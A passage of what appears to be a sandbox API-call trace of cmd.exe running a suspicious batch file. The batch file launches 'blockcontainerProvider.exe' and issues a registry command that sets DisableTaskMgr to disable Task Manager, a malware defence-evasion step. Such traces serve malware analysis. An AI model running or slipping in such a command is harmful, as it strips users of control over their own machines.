(hModule=0x76940000, lpProcName="SaferCloseLevel") returned 0x76963825 [0044.332] CloseCodeAuthzLevel () returned 0x1 [0044.332] SetErrorMode (uMode=0x0) returned 0x0 [0044.332] SetErrorMode (uMode=0x1) returned 0x0 [0044.332] GetFullPathNameW (in: lpFileName="C:\\hyperWinhost\\DvmT9BsJAfBh.bat", nBufferLength=0x104, lpBuffer=0x823520, lpFilePart=0x3af1a4 | out: lpBuffer="C:\\hyperWinhost\\DvmT9BsJAfBh.bat", lpFilePart=0x3af1a4*="DvmT9BsJAfBh.bat") returned 0x20 [0044.332] SetErrorMode (uMode=0x0) returned 0x1 [0044.332] GetProcessHeap () returned 0x810000 [0044.332] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x4e) returned 0x81f950 [0044.333] wcsspn (_String=" ", _Control=" \x09") returned 0x1 [0044.333] GetProcessHeap () returned 0x810000 [0044.333] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xa) returned 0x811158 [0044.333] GetProcessHeap () returned 0x810000 [0044.333] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xc) returned 0x811170 [0044.333] GetProcessHeap () returned 0x810000 [0044.333] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x811170, Size=0xc) returned 0x811188 [0044.333] GetProcessHeap () returned 0x810000 [0044.333] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x811188) returned 0xc [0044.333] CmdBatNotification () returned 0x82355e [0044.333] CreateFileW (lpFileName="C:\\hyperWinhost\\DvmT9BsJAfBh.bat" (normalized: "c:\\hyperwinhost\\dvmt9bsjafbh.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x3af1e8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x80 [0044.333] _open_osfhandle (_OSFileHandle=0x80, _Flags=8) returned 3 [0044.333] _get_osfhandle (_FileHandle=3) returned 0x80 [0044.333] SetFilePointer (in: hFile=0x80, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0044.334] _get_osfhandle (_FileHandle=3) returned 0x80 [0044.334] SetFilePointer (in: hFile=0x80, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0044.334] ReadFile (in: hFile=0x80, lpBuffer=0x4a496640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x3af1cc, lpOverlapped=0x0 | out: lpBuffer=0x4a496640*, lpNumberOfBytesRead=0x3af1cc*=0x9c, lpOverlapped=0x0) returned 1 [0044.335] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr="\"C:\\hyperWinhost\\blockcontainerProvider.exe\" & reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_DWORD /d 1 /f", cbMultiByte=156, lpWideCharStr=0x4a49c640, cchWideChar=8191 | out: lpWideCharStr="\"C:\\hyperWinhost\\blockcontainerProvider.exe\" & reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_DWORD /d 1 /f") returned 156 [0044.339] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x400a) returned 0x8266c0 [0044.339] GetProcessHeap () returned 0x810000 [0044.340] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8266c0 | out: hHeap=0x810000) returned 1 [0044.341] _wcsicmp (_String1="\"C:\\hyperWinhost\\blockcontainerProvider.exe\"", _String2=")") returned -7 [0044.341] _wcsicmp (_String1="FOR", _String2="\"C:\\hyperWinhost\\blockcontainerProvider.exe\"") returned 68 [0044.341] _wcsicmp (_String1="FOR/?", _String2="\"C:\\hyperWinhost\\blockcontainerProvider.exe\"") returned 68 [0044.341] _wcsicmp (_String1="IF", _String2="\"C:\\hyperWinhost\\blockcontainerProvider.exe\"") returned 71 [0044.341] _wcsicmp (_String1="IF/?", _String2="\"C:\\hyperWinhost\\blockcontainerProvider.exe\"") returned 71 [0044.341] _wcsicmp (_String1="REM", _String2="\"C:\\hyperWinhost\\blockcontainerProvider.exe\"") returned 80 [0044.341] _wcsicmp (_String1="REM/?", _String2="\"C:\\hyperWinhost\\blockcontainerProvider.exe\"") returned 80 [0044.341] GetProcessHeap () returned 0x810000 [0044.341] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x58) returned 0x81f9a8 [0044.341] GetProcessHeap () returned 0x810000 [0044.341] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x62) returned 0x824d00 [0044.341] GetProcessHeap () returned 0x810000 [0044.341] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xc) returned 0x811170 [0044.342] GetProcessHeap () returned 0x810000 [0044.342] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x58) returned 0x824d70 [0044.343] _wcsicmp (_String1="reg", _String2=")") returned 73 [0044.343] _wcsicmp (_String1="FOR", _String2="reg") returned -12 [0044.343] _wcsicmp (_String1="FOR/?", _String2="reg") returned -12 [0044.343] _wcsicmp (_String1="IF", _String2="reg") returned -9 [0044.343] _wcsicmp (_String1="IF/?", _String2="reg") returned -9 [0044.343] _wcsicmp (_String1="REM", _String2="reg") returned 6 [0044.343] _wcsicmp (_String1="REM/?", _String2="reg") returned 6 [0044.354] GetProcessHeap () returned 0x810000 [0044.354] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x58) returned 0x824dd0 [0044.355] GetProcessHeap () returned 0x810000 [0044.355] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x10) returned 0x8111a0 [0044.358] _get_osfhandle (_FileHandle=3) returned 0x80 [0044.358] SetFilePointer (in: hFile=0x80, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9c [0044.358] ReadFile (in: hFile=0x80, lpBuffer=0x4a496640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x3af0a8, lpOverlapped=0x0 | out: lpBuffer=0x4a496640*, lpNumberOfBytesRead=0x3af0a8*=0x0, lpOverlapped=0x0) returned 1 [0044.358] GetLastError () returned 0x0 [0044.358] _get_osfhandle (_FileHandle=3) returned 0x80 [0044.358] GetFileType (hFile=0x80) returned 0x1 [0044.358] _get_osfhandle (_FileHandle=3) returned 0x80 [0044.358] SetFilePointer (in: hFile=0x80, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x9c [0044.358] GetProcessHeap () returned 0x810000 [0044.359] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x400a) returned 0x8266c0 [0044.359] GetProcessHeap () returned 0x810000 [0044.359] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8266c0 | out: hHeap=0x810000) returned 1 [0044.359] GetProcessHeap () returned 0x810000 [0044.360] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xde) returned 0x824e30 [0044.360] _tell (_FileHandle=3) returned 156 [0044.360] _close (_FileHandle=3) returned 0 [0044.360] _vsnwprintf (in: _Buffer=0x4a4a4640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x3aefa0 | out: _Buffer="\r\n") returned 2 [0044.361] _get_osfhandle (_FileHandle=1) returned 0x7 [0044.361] GetFileType (hFile=0x7) returned 0x2 [0044.361] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0044.361] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3aef60 | out: lpMode=0x3aef60) returned 1 [0044.361] _get_osfhandle (_FileHandle=1) returned 0x7 [0044.361] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a4a4640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x3aef8c, lpReserved=0x0 | out: lpBuffer=0x4a4a4640*, lpNumberOfCharsWritten=0x3aef8c*=0x2) returned 1 [0044.362] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a4a0640, nSize=0x2000 | out: lpBuffer="") returned 0x4 [0044.362] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a495260 | out: lpBuffer="C:\\hyperWinhost") returned 0xf [0044.362] _vsnwprintf (in: _Buffer=0x4a495e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x3aef9c | out: _Buffer="C:\\hyperWinhost") returned 15 [0044.362] _vsnwprintf (in: _Buffer=0x4a495e5e, _BufferCount=0x3ef, _Format="%c", _ArgList=0x3aef9c | out: _Buffer=">") returned 1 [0044.362] _get_osfhandle (_FileHandle=1) returned 0x7 [0044.362] GetFileType (hFile=0x7) returned 0x2 [0044.362] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0044.363] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3aef64 | out: lpMode=0x3aef64) returned 1 [0044.363] _get_osfhandle (_FileHandle=1) returned 0x7 [0044.363] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a495e40*, nNumberOfCharsToWrite=0x10, lpNumberOfCharsWritten=0x3aef90, lpReserved=0x0 | out: lpBuffer=0x4a495e40*, lpNumberOfCharsWritten=0x3aef90*=0x10) returned 1 [0044.364] _get_osfhandle (_FileHandle=1) returned 0x7 [0044.364] GetFileType (hFile=0x7) returned 0x2 [0044.366] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0044.366] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3af1b8 | out: lpMode=0x3af1b8) returned 1 [0044.366] _get_osfhandle (_FileHandle=1) returned 0x7 [0044.366] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x824d08*, nNumberOfCharsToWrite=0x2c, lpNumberOfCharsWritten=0x3af1e4, lpReserved=0x0 | out: lpBuffer=0x824d08*, lpNumberOfCharsWritten=0x3af1e4*=0x2c) returned 1 [0044.367] _vsnwprintf (in: _Buffer=0x4a4a4640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x3af1f0 | out: _Buffer=" ") returned 2 [0044.367] _get_osfhandle (_FileHandle=1) returned 0x7 [0044.367] GetFileType (hFile=0x7) returned 0x2 [0044.367] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0044.367] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3af1b0 | out: lpMode=0x3af1b0) returned 1 [0044.367] _get_osfhandle (_FileHandle=1) returned 0x7 [0044.367] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a4a4640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x3af1dc, lpReserved=0x0 | out: lpBuffer=0x4a4a4640*, lpNumberOfCharsWritten=0x3af1dc*=0x2) returned 1 [0044.368] _vsnwprintf (in: _Buffer=0x4a4a4640, _BufferCount=0x1fff, _Format=" %s ", _ArgList=0x3af20c | out: _Buffer=" & ") returned 3 [0044.368] _get_osfhandle (_FileHandle=1) returned 0x7 [0044.368] GetFileType (hFile=0x7) returned 0x2 [0044.368] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0044.368] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3af1cc | out: lpMode=0x3af1cc) returned 1 [0044.368] _get_osfhandle (_FileHandle=1) returned 0x7 [0044.368] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a4a4640*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x3af1f8, lpReserved=0x0 | out: lpBuffer=0x4a4a4640*, lpNumberOfCharsWritten=0x3af1f8*=0x3) returned 1 [0044.368] _get_osfhandle (_FileHandle=1) returned 0x7 [0044.369] GetFileType (hFile=0x7) returned 0x2 [0044.369] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0044.369] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3af1b8 | out: lpMode=0x3af1b8) returned 1 [0044.369] _get_osfhandle (_FileHandle=1) returned 0x7 [0044.369] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x8111a8*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x3af1e4, lpReserved=0x0 | out: lpBuffer=0x8111a8*, lpNumberOfCharsWritten=0x3af1e4*=0x3) returned 1 [0044.369] _vsnwprintf (in: _Buffer=0x4a4a4640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x3af1f0 | out: _Buffer=" add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_DWORD /d 1 /f ") returned 107 [0044.369] _get_osfhandle (_FileHandle=1) returned 0x7 [0044.369] GetFileType (hFile=0x7) returned 0x2 [0044.370] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0044.370] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3af1b0 | out: lpMode=0x3af1b0) returned 1 [0044.370] _get_osfhandle (_FileHandle=1) returned 0x7 [0044.370] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a4a4640*, nNumberOfCharsToWrite=0x6b, lpNumberOfCharsWritten=0x3af1dc, lpReserved=0x0 | out: lpBuffer=0x4a4a4640*, lpNumberOfCharsWritten=0x3af1dc*=0x6b) returned 1 [0044.370] _vsnwprintf (in: _Buffer=0x4a4a4640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x3af240 | out: _Buffer="\r\n") returned 2 [0044.370] _get_osfhandle (_FileHandle=1) returned 0x7 [0044.370] GetFileType (hFile=0x7) returned 0x2 [0044.371] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0044.371] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3af200 | out: lpMode=0x3af200) returned 1 [0044.371] _get_osfhandle (_FileHandle=1) returned 0x7 [0044.371] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a4a4640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x3af22c, lpReserved=0x0 | out: lpBuffer=0x4a4a4640*, lpNumberOfCharsWritten=0x3af22c*=0x2) returned 1 [0044.371] GetConsoleTitleW (in: lpConsoleTitle=0x3aed4c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0044.373] GetFullPathNameW (in: lpFileName="C:\\hyperWinhost\\.", nBufferLength=0x208, lpBuffer=0x8251a8, lpFilePart=0x3ae86c | out: lpBuffer="C:\\hyperWinhost", lpFilePart=0x3ae86c*="hyperWinhost") returned 0xf [0044.373] SetErrorMode (uMode=0x0) returned 0x1 [0044.373] GetProcessHeap () returned 0x810000 [0044.373] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x8251a0, Size=0x5e) returned 0x8251a0 [0044.373] GetProcessHeap () returned 0x810000 [0044.373] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x8251a0) returned 0x5e [0044.373] NeedCurrentDirectoryForExePathW (ExeName="C:\\hyperWinhost\\.") returned 1 [0044.374] GetProcessHeap () returned 0x810000 [0044.374] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x2e) returned 0x81fa08 [0044.374] GetProcessHeap () returned 0x810000 [0044.374] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x50) returned 0x825208 [0044.374] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0044.374] FindFirstFileExW (in: lpFileName="C:\\hyperWinhost\\blockcontainerProvider.exe" (normalized: "c:\\hyperwinhost\\blockcontainerprovider.exe"), fInfoLevelId=0x1, lpFindFileData=0x3ae608, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3ae608) returned 0x8252c0 [0044.374] GetProcessHeap () returned 0x810000 [0044.374] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x821c50, Size=0x4) returned 0x821c50 [0044.374] FindClose (in: hFindFile=0x8252c0 | out: hFindFile=0x8252c0) returned 1 [0044.374] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0044.374] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0044.375] GetConsoleTitleW (in: lpConsoleTitle=0x3aeae0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0044.375] InitializeProcThreadAttributeList (in: lpAttributeList=0x3ae968, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x3aea30 | out: lpAttributeList=0x3ae968, lpSize=0x3aea30) returned 1 [0044.375] UpdateProcThreadAttribute (in: lpAttributeList=0x3ae968, dwFlags=0x0, Attribute=0x60001, lpValue=0x3aea28, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x3ae968, lpPreviousValue=0x0) returned 1 [0044.375] GetStartupInfoW (in: lpStartupInfo=0x3ae924 | out: lpStartupInfo=0x3ae924*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0044.375] lstrcmpW (lpString1="\\blockcontainerProvider.exe", lpString2="\\XCOPY.EXE") returned -1 [0044.377] CreateProcessW (in: lpApplicationName="C:\\hyperWinhost\\blockcontainerProvider.exe", lpCommandLine="\"C:\\hyperWinhost\\blockcontainerProvider.exe\" ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\hyperWinhost", lpStartupInfo=0x3ae9c4*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="\"C:\\hyperWinhost\\blockcontainerProvider.exe\" ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x3aea10 | out: lpCommandLine="\"C:\\hyperWinhost\\blockcontainerProvider.exe\" ", lpProcessInformation=0x3aea10*(hProcess=0x7c, hThread=0x80, dwProcessId=0xe88, dwThreadId=0xe8c)) returned 1 [0044.403] CloseHandle (hObject=0x80) returned 1 [0044.403] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0044.403] GetProcessHeap () returned 0x810000 [0044.403] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8259e0 | out: hHeap=0x810000) returned 1 [0044.403] GetEnvironmentStringsW () returned 0x834a00* [0044.403] GetProcessHeap () returned 0x810000 [0044.404] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xcd6) returned 0x8253e8 [0044.404] memcpy (in: _Dst=0x8253e8, _Src=0x834a00, _Size=0xcd6 | out: _Dst=0x8253e8) returned 0x8253e8 [0044.404] FreeEnvironmentStringsW (penv=0x834a00) returned 1 [0044.404] WaitForSingleObject (hHandle=0x7c, dwMilliseconds=0xffffffff) returned 0x0 [0094.515] GetExitCodeProcess (in: hProcess=0x7c, lpExitCode=0x3ae904 | out: lpExitCode=0x3ae904*=0x0) returned 1 [0094.516] CloseHandle (hObject=0x7c) returned 1 [0094.516] _vsnwprintf (in: _Buffer=0x3aea4c, _BufferCount=0x13, _Format="%08X", _ArgList=0x3ae910 | out: _Buffer="00000000") returned 8 [0094.517] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0094.517] GetProcessHeap () returned 0x810000 [0094.518] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8253e8 | out: hHeap=0x810000) returned 1 [0094.518] GetEnvironmentStringsW () returned 0x8253e8* [0094.518] GetProcessHeap () returned 0x810000 [0094.518] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xcfc) returned 0x8260f0 [0094.518] memcpy (in: _Dst=0x8260f0, _Src=0x8253e8, _Size=0xcfc | out: _Dst=0x8260f0) returned 0x8260f0 [0094.518] FreeEnvironmentStringsW (penv=0x8253e8) returned 1 [0094.518] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0094.518] GetProcessHeap () returned 0x810000 [0094.519] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8260f0 | out: hHeap=0x810000) returned 1 [0094.519] GetEnvironmentStringsW () returned 0x8253e8* [0094.519] GetProcessHeap () returned 0x810000 [0094.519] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xcfc) returned 0x8260f0 [0094.519] memcpy (in: _Dst=0x8260f0, _Src=0x8253e8, _Size=0xcfc | out: _Dst=0x8260f0) returned 0x8260f0 [0094.519] FreeEnvironmentStringsW (penv=0x8253e8) returned 1 [0094.519] GetProcessHeap () returned 0x810000 [0094.519] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8111b8 | out: hHeap=0x810000) returned 1 [0094.519] DeleteProcThreadAttributeList (in: lpAttributeList=0x3ae968 | out: lpAttributeList=0x3ae968) [0094.519] GetConsoleTitleW (in: lpConsoleTitle=0x3aed4c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0094.520] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x210) returned 0x835708 [0094.520] GetProcessHeap () returned 0x810000 [0094.520] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xe6) returned 0x835920 [0094.520] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x418) returned 0x835a10 [0094.521] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x835a18, lpFilePart=0x3ae86c | out: lpBuffer="C:\\hyperWinhost", lpFilePart=0x3ae86c*="hyperWinhost") returned 0xf [0094.521] SetErrorMode (uMode=0x0) returned 0x1 [0094.521] GetProcessHeap () returned 0x810000 [0094.521] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x835a10, Size=0x30) returned 0x835a10 [0094.521] GetProcessHeap () returned 0x810000 [0094.521] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x835a10) returned 0x30 [0094.521] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a4a0640, nSize=0x2000 | out: lpBuffer="") returned 0xc8 [0094.521] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0094.521] GetProcessHeap () returned 0x810000 [0094.521] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x1be) returned 0x835a48 [0094.521] GetProcessHeap () returned 0x810000 [0094.521] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x374) returned 0x835c10 [0094.521] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x835c10, Size=0x1c0) returned 0x835c10 [0094.521] GetProcessHeap () returned 0x810000 [0094.521] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x835c10) returned 0x1c0 [0094.522] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a4a0640, nSize=0x2000 | out: lpBuffer="") returned 0x35 [0094.522] GetProcessHeap () returned 0x810000 [0094.522] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xe0) returned 0x835dd8 [0094.522] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x835dd8, Size=0x76) returned 0x835dd8 [0094.522] GetProcessHeap () returned 0x810000 [0094.522] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x835dd8) returned 0x76 [0094.522] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0094.522] FindFirstFileExW (in: lpFileName="C:\\hyperWinhost\\reg.*" (normalized: "c:\\hyperwinhost\\reg.*"), fInfoLevelId=0x1, lpFindFileData=0x3ae5e8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3ae5e8) returned 0xffffffff [0094.522] GetLastError () returned 0x2 [0094.523] FindFirstFileExW (in: lpFileName="C:\\hyperWinhost\\reg" (normalized: "c:\\hyperwinhost\\reg"), fInfoLevelId=0x1, lpFindFileData=0x3ae5e8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3ae5e8) returned 0xffffffff [0094.523] GetLastError () returned 0x2 [0094.523] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0094.523] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\reg.*" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\reg.*"), fInfoLevelId=0x1, lpFindFileData=0x3ae5e8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3ae5e8) returned 0xffffffff [0094.525] GetLastError () returned 0x2 [0094.525] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\reg" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\reg"), fInfoLevelId=0x1, lpFindFileData=0x3ae5e8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3ae5e8) returned 0xffffffff [0094.525] GetLastError () returned 0x2 [0094.525] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0094.525] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\reg.*" (normalized: "c:\\windows\\syswow64\\reg.*"), fInfoLevelId=0x1, lpFindFileData=0x3ae5e8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3ae5e8) returned 0x835e58 [0094.525] FindClose (in: hFindFile=0x835e58 | out: hFindFile=0x835e58) returned 1 [0094.525] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\reg.COM" (normalized: "c:\\windows\\syswow64\\reg.com"), fInfoLevelId=0x1, lpFindFileData=0x3ae5e8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3ae5e8) returned 0xffffffff [0094.526] GetLastError () returned 0x2 [0094.526] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\reg.EXE" (normalized: "c:\\windows\\syswow64\\reg.exe"), fInfoLevelId=0x1, lpFindFileData=0x3ae5e8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3ae5e8) returned 0x835e58 [0094.526] FindClose (in: hFindFile=0x835e58 | out: hFindFile=0x835e58) returned 1 [0094.526] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0094.526] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0094.526] GetConsoleTitleW (in: lpConsoleTitle=0x3aeae0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0094.526] InitializeProcThreadAttributeList (in: lpAttributeList=0x3ae968, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x3aea30 | out: lpAttributeList=0x3ae968, lpSize=0x3aea30) returned 1 [0094.526] UpdateProcThreadAttribute (in: lpAttributeList=0x3ae968, dwFlags=0x0, Attribute=0x60001, lpValue=0x3aea28, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x3ae968, lpPreviousValue=0x0) returned 1 [0094.526] GetStartupInfoW (in: lpStartupInfo=0x3ae924 | out: lpStartupInfo=0x3ae924*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0094.526] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x18) returned 0x823b78 [0094.526] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0094.526] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0094.526] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0094.527] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0094.527] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0094.527] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0094.527] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0094.527] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0094.527] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0094.527] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0094.527] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0094.527] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) 